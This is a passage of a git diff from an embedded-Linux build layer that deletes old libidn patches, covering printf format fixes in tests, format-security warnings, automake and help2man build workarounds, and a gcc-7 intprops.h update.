---- a/tests/tst_pr29.c
-+++ b/tests/tst_pr29.c
-@@ -91,7 +91,7 @@ static const struct tv tv[] = {
- void
- doit (void)
- {
-- size_t i;
-+ unsigned i;
- int rc;
-
- for (i = 0; i < sizeof (tv) / sizeof (tv[0]); i++)
-@@ -100,7 +100,7 @@ doit (void)
- {
- uint32_t *p, *q;
-
-- printf ("PR29 entry %ld: %s\n", i, tv[i].name);
-+ printf ("PR29 entry %u: %s\n", i, tv[i].name);
-
- printf ("in:\n");
- ucs4print (tv[i].in, tv[i].inlen);
-@@ -120,7 +120,7 @@ doit (void)
- rc = pr29_4 (tv[i].in, tv[i].inlen);
- if (rc != tv[i].rc)
- {
-- fail ("PR29 entry %ld failed (expected %d): %d\n", i, tv[i].rc, rc);
-+ fail ("PR29 entry %u failed (expected %d): %d\n", i, tv[i].rc, rc);
- if (debug)
- printf ("FATAL\n");
- continue;
-@@ -129,7 +129,7 @@ doit (void)
- rc = pr29_4z (tv[i].in);
- if (rc != tv[i].rc)
- {
-- fail ("PR29 entry %ld failed (expected %d): %d\n", i, tv[i].rc, rc);
-+ fail ("PR29 entry %u failed (expected %d): %d\n", i, tv[i].rc, rc);
- if (debug)
- printf ("FATAL\n");
- continue;
-@@ -142,7 +142,7 @@ doit (void)
- p = stringprep_ucs4_to_utf8 (tv[i].in, (ssize_t) tv[i].inlen,
- &items_read, &items_written);
- if (p == NULL)
-- fail ("FAIL: stringprep_ucs4_to_utf8(tv[%ld]) == NULL\n", i);
-+ fail ("FAIL: stringprep_ucs4_to_utf8(tv[%u]) == NULL\n", i);
- if (debug)
- hexprint (p, strlen (p));
-
-@@ -150,7 +150,7 @@ doit (void)
- free (p);
- if (rc != tv[i].rc)
- {
-- fail ("PR29 entry %ld failed (expected %d): %d\n",
-+ fail ("PR29 entry %u failed (expected %d): %d\n",
- i, tv[i].rc, rc);
- if (debug)
- printf ("FATAL\n");
-diff --git a/tests/tst_punycode.c b/tests/tst_punycode.c
-index 493b8a2..997744a 100644
---- a/tests/tst_punycode.c
-+++ b/tests/tst_punycode.c
-@@ -173,7 +173,8 @@ doit (void)
- char *p;
- uint32_t *q;
- int rc;
-- size_t i, outlen;
-+ size_t outlen;
-+ unsigned i;
-
- p = malloc (sizeof (*p) * BUFSIZ);
- if (p == NULL)
-@@ -186,7 +187,7 @@ doit (void)
- for (i = 0; i < sizeof (punycode) / sizeof (punycode[0]); i++)
- {
- if (debug)
-- printf ("PUNYCODE entry %ld: %s\n", i, punycode[i].name);
-+ printf ("PUNYCODE entry %u: %s\n", i, punycode[i].name);
-
- if (debug)
- {
-@@ -199,7 +200,7 @@ doit (void)
- NULL, &outlen, p);
- if (rc != punycode[i].rc)
- {
-- fail ("punycode_encode() entry %ld failed: %d\n", i, rc);
-+ fail ("punycode_encode() entry %u failed: %d\n", i, rc);
- if (debug)
- printf ("FATAL\n");
- continue;
-@@ -221,7 +222,7 @@ doit (void)
- if (strlen (punycode[i].out) != strlen (p) ||
- memcmp (punycode[i].out, p, strlen (p)) != 0)
- {
-- fail ("punycode() entry %ld failed\n", i);
-+ fail ("punycode() entry %u failed\n", i);
- if (debug)
- printf ("ERROR\n");
- }
-@@ -241,7 +242,7 @@ doit (void)
- &outlen, q, NULL);
- if (rc != punycode[i].rc)
- {
-- fail ("punycode() entry %ld failed: %d\n", i, rc);
-+ fail ("punycode() entry %u failed: %d\n", i, rc);
- if (debug)
- printf ("FATAL\n");
- continue;
-@@ -262,7 +263,7 @@ doit (void)
- if (punycode[i].inlen != outlen ||
- memcmp (punycode[i].in, q, outlen) != 0)
- {
-- fail ("punycode_decode() entry %ld failed\n", i);
-+ fail ("punycode_decode() entry %u failed\n", i);
- if (debug)
- printf ("ERROR\n");
- }
-diff --git a/tests/tst_strerror.c b/tests/tst_strerror.c
-index 71fff59..730f5e4 100644
---- a/tests/tst_strerror.c
-+++ b/tests/tst_strerror.c
-@@ -110,7 +110,7 @@ doit (void)
- /* Iterate through all error codes. */
-
- {
-- size_t i;
-+ unsigned i;
- const char *last_p = NULL;
-
- for (i = 0;; i++)
-@@ -126,13 +126,13 @@ doit (void)
- break;
- }
- if (debug)
-- printf ("idna %ld: %s\n", i, p);
-+ printf ("idna %u: %s\n", i, p);
- last_p = p;
- }
- }
-
- {
-- size_t i;
-+ unsigned i;
- const char *last_p = NULL;
-
- for (i = 0;; i++)
-@@ -141,13 +141,13 @@ doit (void)
- if (p == last_p)
- break;
- if (debug)
-- printf ("pr29 %ld: %s\n", i, p);
-+ printf ("pr29 %u: %s\n", i, p);
- last_p = p;
- }
- }
-
- {
-- size_t i;
-+ unsigned i;
- const char *last_p = NULL;
-
- for (i = 0;; i++)
-@@ -156,13 +156,13 @@ doit (void)
- if (p == last_p)
- break;
- if (debug)
-- printf ("punycode %ld: %s\n", i, p);
-+ printf ("punycode %u: %s\n", i, p);
- last_p = p;
- }
- }
-
- {
-- size_t i;
-+ unsigned i;
- const char *last_p = NULL;
-
- for (i = 0;; i++)
-@@ -183,13 +183,13 @@ doit (void)
- break;
- }
- if (debug)
-- printf ("stringprep %ld: %s\n", i, p);
-+ printf ("stringprep %u: %s\n", i, p);
- last_p = p;
- }
- }
-
- {
-- size_t i;
-+ unsigned i;
- const char *last_p = NULL;
-
- for (i = 0;; i++)
-@@ -198,7 +198,7 @@ doit (void)
- if (p == last_p)
- break;
- if (debug)
-- printf ("tld %ld: %s\n", i, p);
-+ printf ("tld %u: %s\n", i, p);
- last_p = p;
- }
- }
-diff --git a/tests/tst_stringprep.c b/tests/tst_stringprep.c
-index 149ce6f..7c9ab06 100644
---- a/tests/tst_stringprep.c
-+++ b/tests/tst_stringprep.c
-@@ -205,7 +205,7 @@ doit (void)
- {
- char *p;
- int rc;
-- size_t i;
-+ unsigned i;
-
- if (!stringprep_check_version (STRINGPREP_VERSION))
- fail ("stringprep_check_version failed (header %s runtime %s)\n",
-@@ -224,7 +224,7 @@ doit (void)
- for (i = 0; i < sizeof (strprep) / sizeof (strprep[0]); i++)
- {
- if (debug)
-- printf ("STRINGPREP entry %ld\n", i);
-+ printf ("STRINGPREP entry %u\n", i);
-
- if (debug)
- {
-@@ -247,12 +247,12 @@ doit (void)
- continue;
- else if (l == NULL)
- {
-- fail ("bad UTF-8 in entry %ld\n", i);
-+ fail ("bad UTF-8 in entry %u\n", i);
- continue;
- }
- else if (strcmp (strprep[i].in, x) != 0)
- {
-- fail ("bad UTF-8 in entry %ld\n", i);
-+ fail ("bad UTF-8 in entry %u\n", i);
- if (debug)
- {
- puts ("expected:");
-@@ -274,7 +274,7 @@ doit (void)
- "Nameprep", strprep[i].flags);
- if (rc != strprep[i].rc)
- {
-- fail ("stringprep() entry %ld failed: %d\n", i, rc);
-+ fail ("stringprep() entry %u failed: %d\n", i, rc);
- if (debug)
- printf ("FATAL\n");
- if (rc == STRINGPREP_OK)
-@@ -302,7 +302,7 @@ doit (void)
- if (strlen (strprep[i].out) != strlen (p) ||
- memcmp (strprep[i].out, p, strlen (p)) != 0)
- {
-- fail ("stringprep() entry %ld failed\n", i);
-+ fail ("stringprep() entry %ld failed\n", (long) i);
- if (debug)
- printf ("ERROR\n");
- }
-diff --git a/tests/tst_tld.c b/tests/tst_tld.c
-index 2f8e12e..d038c79 100644
---- a/tests/tst_tld.c
-+++ b/tests/tst_tld.c
-@@ -80,7 +80,7 @@ const Tld_table * my_tld_tables[] =
- void
- doit (void)
- {
-- size_t i;
-+ unsigned i;
- const Tld_table *tldtable;
- char *out;
- size_t errpos;
-@@ -206,7 +206,7 @@ doit (void)
- for (i = 0; i < sizeof (tld) / sizeof (tld[0]); i++)
- {
- if (debug)
-- printf ("TLD entry %ld: %s\n", i, tld[i].name);
-+ printf ("TLD entry %u: %s\n", i, tld[i].name);
-
- if (debug)
- {
-@@ -217,7 +217,7 @@ doit (void)
- tldtable = tld_default_table (tld[i].tld, NULL);
- if (tldtable == NULL)
- {
-- fail ("TLD entry %ld tld_get_table (%s)\n", i, tld[i].tld);
-+ fail ("TLD entry %u tld_get_table (%s)\n", i, tld[i].tld);
- if (debug)
- printf ("FATAL\n");
- continue;
-@@ -226,7 +226,7 @@ doit (void)
- rc = tld_check_4t (tld[i].in, tld[i].inlen, &errpos, tldtable);
- if (rc != tld[i].rc)
- {
-- fail ("TLD entry %ld failed: %d\n", i, rc);
-+ fail ("TLD entry %u failed: %d\n", i, rc);
- if (debug)
- printf ("FATAL\n");
- continue;
-@@ -237,7 +237,7 @@ doit (void)
-
- if (rc != tld[i].rc)
- {
-- fail ("TLD entry %ld failed\n", i);
-+ fail ("TLD entry %u failed\n", i);
- if (debug)
- printf ("ERROR\n");
- }
-@@ -245,12 +245,12 @@ doit (void)
- {
- if (debug)
- printf ("returned errpos %ld expected errpos %ld\n",
-- errpos, tld[i].errpos);
-+ (long) errpos, (long) tld[i].errpos);
-
- if (tld[i].errpos != errpos)
- {
-- fail ("TLD entry %ld failed because errpos %ld != %ld\n", i,
-- tld[i].errpos, errpos);
-+ fail ("TLD entry %u failed because errpos %ld != %ld\n", i,
-+ (long) tld[i].errpos, (long) errpos);
- if (debug)
- printf ("ERROR\n");
- }
-@@ -262,12 +262,12 @@ doit (void)
- rc = tld_check_8z (tld[i].example, &errpos, NULL);
- if (rc != tld[i].rc)
- {
-- fail ("TLD entry %ld failed\n", i);
-+ fail ("TLD entry %u failed\n", i);
- if (debug)
- printf ("ERROR\n");
- }
- if (debug)
-- printf ("TLD entry %ld tld_check_8z (%s)\n", i, tld[i].example);
-+ printf ("TLD entry %u tld_check_8z (%s)\n", i, tld[i].example);
- }
- }
- }
-diff --git a/tests/utils.c b/tests/utils.c
-index 717ee01..5577dc3 100644
---- a/tests/utils.c
-+++ b/tests/utils.c
-@@ -49,7 +49,7 @@ escapeprint (const char *str, size_t len)
- {
- size_t i;
-
-- printf (" (length %ld bytes):\n\t", len);
-+ printf (" (length %ld bytes):\n\t", (long) len);
- for (i = 0; i < len; i++)
- {
- if (((str[i] & 0xFF) >= 'A' && (str[i] & 0xFF) <= 'Z') ||
-@@ -58,7 +58,7 @@ escapeprint (const char *str, size_t len)
- || (str[i] & 0xFF) == ' ' || (str[i] & 0xFF) == '.')
- printf ("%c", (str[i] & 0xFF));
- else
-- printf ("\\x%02X", (str[i] & 0xFF));
-+ printf ("\\x%02X", (unsigned) (str[i] & 0xFF));
- if ((i + 1) % 16 == 0 && (i + 1) < len)
- printf ("'\n\t'");
- }
-@@ -73,7 +73,7 @@ hexprint (const char *str, size_t len)
- printf ("\t;; ");
- for (i = 0; i < len; i++)
- {
-- printf ("%02x ", (str[i] & 0xFF));
-+ printf ("%02x ", (unsigned) (str[i] & 0xFF));
- if ((i + 1) % 8 == 0)
- printf (" ");
- if ((i + 1) % 16 == 0 && i + 1 < len)
---
-1.9.1
-
diff --git a/meta/recipes-extended/libidn/libidn/0001-idn-format-security-warnings.patch b/meta/recipes-extended/libidn/libidn/0001-idn-format-security-warnings.patch
deleted file mode 100644
index 5adc7d9fd9..0000000000
--- a/meta/recipes-extended/libidn/libidn/0001-idn-format-security-warnings.patch
+++ /dev/null
@@ -1,181 +0,0 @@
-From 82f98dcbc429bbe89a9837c533cbcbc02e77c790 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andr=C3=A9=20Draszik?= <adraszik@tycoint.com>
-Date: Tue, 28 Jun 2016 12:43:31 +0100
-Subject: [PATCH] idn: fix printf() format security warnings
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-| ../../libidn-1.32/src/idn.c: In function 'main':
-| ../../libidn-1.32/src/idn.c:172:7: error: format not a string literal and no format arguments [-Werror=format-security]
-| error (0, 0, _("only one of -s, -e, -d, -a, -u or -n can be specified"));
-| ^~~~~
-| ../../libidn-1.32/src/idn.c:187:5: error: format not a string literal and no format arguments [-Werror=format-security]
-| fprintf (stderr, _("Type each input string on a line by itself, "
-| ^~~~~~~
-| ../../libidn-1.32/src/idn.c:202:4: error: format not a string literal and no format arguments [-Werror=format-security]
-| error (EXIT_FAILURE, errno, _("input error"));
-| ^~~~~
-| ../../libidn-1.32/src/idn.c:220:8: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:245:8: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:281:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:340:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UCS-4 to UTF-8"));
-| ^
-| ../../libidn-1.32/src/idn.c:364:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UCS-4 to UTF-8"));
-| ^
-| ../../libidn-1.32/src/idn.c:442:8: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UCS-4 to UTF-8"));
-| ^
-| ../../libidn-1.32/src/idn.c:498:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:527:5: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:540:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| error (EXIT_FAILURE, 0, _("could not do NFKC normalization"));
-| ^~~~~
-| ../../libidn-1.32/src/idn.c:551:5: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-
-Signed-off-by: André Draszik <adraszik@tycoint.com>
----
-Upstream-Status: Pending
-
- src/idn.c | 27 ++++++++++++++-------------
- 1 file changed, 14 insertions(+), 13 deletions(-)
-
-diff --git a/src/idn.c b/src/idn.c
-index be1c7d1..68e4291 100644
---- a/src/idn.c
-+++ b/src/idn.c
-@@ -170,7 +170,7 @@ main (int argc, char *argv[])
- (args_info.idna_to_unicode_given ? 1 : 0) +
- (args_info.nfkc_given ? 1 : 0) != 1)
- {
-- error (0, 0, _("only one of -s, -e, -d, -a, -u or -n can be specified"));
-+ error (0, 0, "%s", _("only one of -s, -e, -d, -a, -u or -n can be specified"));
- usage (EXIT_FAILURE);
- }
-
-@@ -185,7 +185,7 @@ main (int argc, char *argv[])
- if (!args_info.quiet_given
- && args_info.inputs_num == 0
- && isatty (fileno (stdin)))
-- fprintf (stderr, _("Type each input string on a line by itself, "
-+ fprintf (stderr, "%s", _("Type each input string on a line by itself, "
- "terminated by a newline character.\n"));
-
- do
-@@ -197,7 +197,7 @@ main (int argc, char *argv[])
- if (feof (stdin))
- break;
-
-- error (EXIT_FAILURE, errno, _("input error"));
-+ error (EXIT_FAILURE, errno, "%s", _("input error"));
- }
-
- if (strlen (line) > 0)
-@@ -215,7 +215,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (p);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
- }
-
-@@ -240,7 +240,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (r);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
- }
-
-@@ -277,7 +277,7 @@ main (int argc, char *argv[])
- q = stringprep_utf8_to_ucs4 (p, -1, &len);
- free (p);
- if (!q)
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
-
- if (args_info.debug_given)
-@@ -336,7 +336,7 @@ main (int argc, char *argv[])
- r = stringprep_ucs4_to_utf8 (q, -1, NULL, NULL);
- free (q);
- if (!r)
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UCS-4 to UTF-8"));
-
- p = stringprep_utf8_to_locale (r);
-@@ -360,7 +360,7 @@ main (int argc, char *argv[])
- q = stringprep_utf8_to_ucs4 (p, -1, NULL);
- free (p);
- if (!q)
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UCS-4 to UTF-8"));
-
- if (args_info.debug_given)
-@@ -438,7 +438,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (p);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UCS-4 to UTF-8"));
- }
-
-@@ -494,7 +494,7 @@ main (int argc, char *argv[])
- r = stringprep_ucs4_to_utf8 (q, -1, NULL, NULL);
- free (q);
- if (!r)
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
-
- p = stringprep_utf8_to_locale (r);
-@@ -523,7 +523,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (p);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
- }
-
-@@ -537,7 +537,8 @@ main (int argc, char *argv[])
- r = stringprep_utf8_nfkc_normalize (p, -1);
- free (p);
- if (!r)
-- error (EXIT_FAILURE, 0, _("could not do NFKC normalization"));
-+ error (EXIT_FAILURE, 0, "%s",
-+ _("could not do NFKC normalization"));
-
- if (args_info.debug_given)
- {
-@@ -547,7 +548,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (r);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
- }
-
---
-2.8.1
-
diff --git a/meta/recipes-extended/libidn/libidn/avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch b/meta/recipes-extended/libidn/libidn/avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch
deleted file mode 100644
index 98ba4d6ff6..0000000000
--- a/meta/recipes-extended/libidn/libidn/avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-Upstream-Status: Inappropriate
-
-automake 1.12.x has deprecated AM_PROG_MKDIR_P , and throws a warning for that,
-and the warnings are treated as errors because of the -Werror parameter.
-
-These AM_PROG_MKDIR_P are coming from gettext, and the latest gettext code has not
-eliminated these deprecated macros yet. So disable the treatment of warnings
-as errors until gettext is updated to remove the deprecated macros.
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-2012/07/10
-
-Index: libidn-1.24/configure.ac
-===================================================================
---- libidn-1.24.orig/configure.ac
-+++ libidn-1.24/configure.ac
-@@ -23,7 +23,7 @@ AC_COPYRIGHT([Copyright (c) 2002-2011 Si
- AC_CONFIG_AUX_DIR([build-aux])
- AC_CONFIG_MACRO_DIR([m4])
- AC_CONFIG_HEADERS(config.h)
--AM_INIT_AUTOMAKE([1.10 -Wall -Werror -Wno-override])
-+AM_INIT_AUTOMAKE([1.10 -Wall -Wno-override])
- AM_SILENT_RULES([yes])
-
- # Library code modified: REVISION++
diff --git a/meta/recipes-extended/libidn/libidn/dont-depend-on-help2man.patch b/meta/recipes-extended/libidn/libidn/dont-depend-on-help2man.patch
deleted file mode 100644
index 0863530f29..0000000000
--- a/meta/recipes-extended/libidn/libidn/dont-depend-on-help2man.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurdd libidn-1.26/doc/Makefile.am libidn-1.26/doc/Makefile.am
---- libidn-1.26/doc/Makefile.am 2012-09-18 11:25:45.000000000 +0300
-+++ libidn-1.26/doc/Makefile.am 2013-02-08 07:41:24.591431462 +0200
-@@ -49,15 +49,9 @@
-
- # Man pages.
-
--dist_man_MANS = idn.1 $(gdoc_MANS)
-+dist_man_MANS = $(gdoc_MANS)
- MAINTAINERCLEANFILES = $(dist_man_MANS)
-
--idn.1: $(top_srcdir)/src/idn.c $(top_srcdir)/src/idn.ggo \
-- $(top_srcdir)/configure.ac
-- $(HELP2MAN) \
-- --name="Internationalized Domain Names command line tool" \
-- --output=$@ $(top_builddir)/src/idn$(EXEEXT)
--
- # GDOC
-
- GDOC_BIN = $(srcdir)/gdoc
diff --git a/meta/recipes-extended/libidn/libidn/gcc7-compatibility.patch b/meta/recipes-extended/libidn/libidn/gcc7-compatibility.patch
deleted file mode 100644
index 546a6eaafc..0000000000
--- a/meta/recipes-extended/libidn/libidn/gcc7-compatibility.patch
+++ /dev/null
@@ -1,334 +0,0 @@
-From 230930b3bc3e431b819eb45420cb42475d83ca93 Mon Sep 17 00:00:00 2001
-From: =?utf8?q?Tim=20R=C3=BChsen?= <tim.ruehsen@gmx.de>
-Date: Wed, 1 Feb 2017 10:44:36 +0100
-Subject: [PATCH] Update intprops.h for gcc-7 compatibility
-
----
-Upstream-Status: Backport
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
- gl/intprops.h | 65 ++++++++++++++++++++++++++++++--------------------
- lib/gltests/intprops.h | 65 ++++++++++++++++++++++++++++++--------------------
- 2 files changed, 78 insertions(+), 52 deletions(-)
-
-diff --git a/gl/intprops.h b/gl/intprops.h
-index e1fce5c..eb06b69 100644
---- a/gl/intprops.h
-+++ b/gl/intprops.h
-@@ -1,18 +1,18 @@
- /* intprops.h -- properties of integer types
-
-- Copyright (C) 2001-2016 Free Software Foundation, Inc.
-+ Copyright (C) 2001-2017 Free Software Foundation, Inc.
-
- This program is free software: you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published
-- by the Free Software Foundation; either version 3 of the License, or
-+ under the terms of the GNU Lesser General Public License as published
-+ by the Free Software Foundation; either version 2.1 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ GNU Lesser General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-+ You should have received a copy of the GNU Lesser General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
- /* Written by Paul Eggert. */
-@@ -47,12 +47,16 @@
-
- /* Minimum and maximum values for integer types and expressions. */
-
-+/* The width in bits of the integer type or expression T.
-+ Padding bits are not supported; this is checked at compile-time below. */
-+#define TYPE_WIDTH(t) (sizeof (t) * CHAR_BIT)
-+
- /* The maximum and minimum values for the integer type T. */
- #define TYPE_MINIMUM(t) ((t) ~ TYPE_MAXIMUM (t))
- #define TYPE_MAXIMUM(t) \
- ((t) (! TYPE_SIGNED (t) \
- ? (t) -1 \
-- : ((((t) 1 << (sizeof (t) * CHAR_BIT - 2)) - 1) * 2 + 1)))
-+ : ((((t) 1 << (TYPE_WIDTH (t) - 2)) - 1) * 2 + 1)))
-
- /* The maximum and minimum values for the type of the expression E,
- after integer promotion. E should not have side effects. */
-@@ -65,7 +69,13 @@
- ? _GL_SIGNED_INT_MAXIMUM (e) \
- : _GL_INT_NEGATE_CONVERT (e, 1))
- #define _GL_SIGNED_INT_MAXIMUM(e) \
-- (((_GL_INT_CONVERT (e, 1) << (sizeof ((e) + 0) * CHAR_BIT - 2)) - 1) * 2 + 1)
-+ (((_GL_INT_CONVERT (e, 1) << (TYPE_WIDTH ((e) + 0) - 2)) - 1) * 2 + 1)
-+
-+/* Work around OpenVMS incompatibility with C99. */
-+#if !defined LLONG_MAX && defined __INT64_MAX
-+# define LLONG_MAX __INT64_MAX
-+# define LLONG_MIN __INT64_MIN
-+#endif
-
- /* This include file assumes that signed types are two's complement without
- padding bits; the above macros have undefined behavior otherwise.
-@@ -84,10 +94,15 @@ verify (TYPE_MAXIMUM (long int) == LONG_MAX);
- verify (TYPE_MINIMUM (long long int) == LLONG_MIN);
- verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- #endif
-+/* Similarly, sanity-check one ISO/IEC TS 18661-1:2014 macro if defined. */
-+#ifdef UINT_WIDTH
-+verify (TYPE_WIDTH (unsigned int) == UINT_WIDTH);
-+#endif
-
- /* Does the __typeof__ keyword work? This could be done by
- 'configure', but for now it's easier to do it by hand. */
--#if (2 <= __GNUC__ || defined __IBM__TYPEOF__ \
-+#if (2 <= __GNUC__ \
-+ || (1210 <= __IBMC__ && defined __IBM__TYPEOF__) \
- || (0x5110 <= __SUNPRO_C && !__STDC__))
- # define _GL_HAVE___TYPEOF__ 1
- #else
-@@ -116,8 +131,7 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- signed, this macro may overestimate the true bound by one byte when
- applied to unsigned types of size 2, 4, 16, ... bytes. */
- #define INT_STRLEN_BOUND(t) \
-- (INT_BITS_STRLEN_BOUND (sizeof (t) * CHAR_BIT \
-- - _GL_SIGNED_TYPE_OR_EXPR (t)) \
-+ (INT_BITS_STRLEN_BOUND (TYPE_WIDTH (t) - _GL_SIGNED_TYPE_OR_EXPR (t)) \
- + _GL_SIGNED_TYPE_OR_EXPR (t))
-
- /* Bound on buffer size needed to represent an integer type or expression T,
-@@ -222,20 +236,23 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- ? (a) < (min) >> (b) \
- : (max) >> (b) < (a))
-
--/* True if __builtin_add_overflow (A, B, P) works when P is null. */
--#define _GL_HAS_BUILTIN_OVERFLOW_WITH_NULL (7 <= __GNUC__)
-+/* True if __builtin_add_overflow (A, B, P) works when P is non-null. */
-+#define _GL_HAS_BUILTIN_OVERFLOW (5 <= __GNUC__)
-+
-+/* True if __builtin_add_overflow_p (A, B, C) works. */
-+#define _GL_HAS_BUILTIN_OVERFLOW_P (7 <= __GNUC__)
-
- /* The _GL*_OVERFLOW macros have the same restrictions as the
- *_RANGE_OVERFLOW macros, except that they do not assume that operands
- (e.g., A and B) have the same type as MIN and MAX. Instead, they assume
- that the result (e.g., A + B) has that type. */
--#if _GL_HAS_BUILTIN_OVERFLOW_WITH_NULL
--# define _GL_ADD_OVERFLOW(a, b, min, max)
-- __builtin_add_overflow (a, b, (__typeof__ ((a) + (b)) *) 0)
--# define _GL_SUBTRACT_OVERFLOW(a, b, min, max)
-- __builtin_sub_overflow (a, b, (__typeof__ ((a) - (b)) *) 0)
--# define _GL_MULTIPLY_OVERFLOW(a, b, min, max)
-- __builtin_mul_overflow (a, b, (__typeof__ ((a) * (b)) *) 0)
-+#if _GL_HAS_BUILTIN_OVERFLOW_P
-+# define _GL_ADD_OVERFLOW(a, b, min, max) \
-+ __builtin_add_overflow_p (a, b, (__typeof__ ((a) + (b))) 0)
-+# define _GL_SUBTRACT_OVERFLOW(a, b, min, max) \
-+ __builtin_sub_overflow_p (a, b, (__typeof__ ((a) - (b))) 0)
-+# define _GL_MULTIPLY_OVERFLOW(a, b, min, max) \
-+ __builtin_mul_overflow_p (a, b, (__typeof__ ((a) * (b))) 0)
- #else
- # define _GL_ADD_OVERFLOW(a, b, min, max) \
- ((min) < 0 ? INT_ADD_RANGE_OVERFLOW (a, b, min, max) \
-@@ -315,7 +332,7 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- _GL_BINARY_OP_OVERFLOW (a, b, _GL_ADD_OVERFLOW)
- #define INT_SUBTRACT_OVERFLOW(a, b) \
- _GL_BINARY_OP_OVERFLOW (a, b, _GL_SUBTRACT_OVERFLOW)
--#if _GL_HAS_BUILTIN_OVERFLOW_WITH_NULL
-+#if _GL_HAS_BUILTIN_OVERFLOW_P
- # define INT_NEGATE_OVERFLOW(a) INT_SUBTRACT_OVERFLOW (0, a)
- #else
- # define INT_NEGATE_OVERFLOW(a) \
-@@ -349,10 +366,6 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- #define INT_MULTIPLY_WRAPV(a, b, r) \
- _GL_INT_OP_WRAPV (a, b, r, *, __builtin_mul_overflow, INT_MULTIPLY_OVERFLOW)
-
--#ifndef __has_builtin
--# define __has_builtin(x) 0
--#endif
--
- /* Nonzero if this compiler has GCC bug 68193 or Clang bug 25390. See:
- https://gcc.gnu.org/bugzilla/show_bug.cgi?id=68193
- https://llvm.org/bugs/show_bug.cgi?id=25390
-@@ -369,7 +382,7 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- the operation. BUILTIN is the builtin operation, and OVERFLOW the
- overflow predicate. Return 1 if the result overflows. See above
- for restrictions. */
--#if 5 <= __GNUC__ || __has_builtin (__builtin_add_overflow)
-+#if _GL_HAS_BUILTIN_OVERFLOW
- # define _GL_INT_OP_WRAPV(a, b, r, op, builtin, overflow) builtin (a, b, r)
- #elif 201112 <= __STDC_VERSION__ && !_GL__GENERIC_BOGUS
- # define _GL_INT_OP_WRAPV(a, b, r, op, builtin, overflow) \
-@@ -412,7 +425,7 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- # else
- # define _GL_INT_OP_WRAPV_LONGISH(a, b, r, op, overflow) \
- _GL_INT_OP_CALC (a, b, r, op, overflow, unsigned long int, \
-- long int, LONG_MIN, LONG_MAX))
-+ long int, LONG_MIN, LONG_MAX)
- # endif
- #endif
-
-diff --git a/lib/gltests/intprops.h b/lib/gltests/intprops.h
-index e1fce5c..eb06b69 100644
---- a/lib/gltests/intprops.h
-+++ b/lib/gltests/intprops.h
-@@ -1,18 +1,18 @@
- /* intprops.h -- properties of integer types
-
-- Copyright (C) 2001-2016 Free Software Foundation, Inc.
-+ Copyright (C) 2001-2017 Free Software Foundation, Inc.
-
- This program is free software: you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published
-- by the Free Software Foundation; either version 3 of the License, or
-+ under the terms of the GNU Lesser General Public License as published
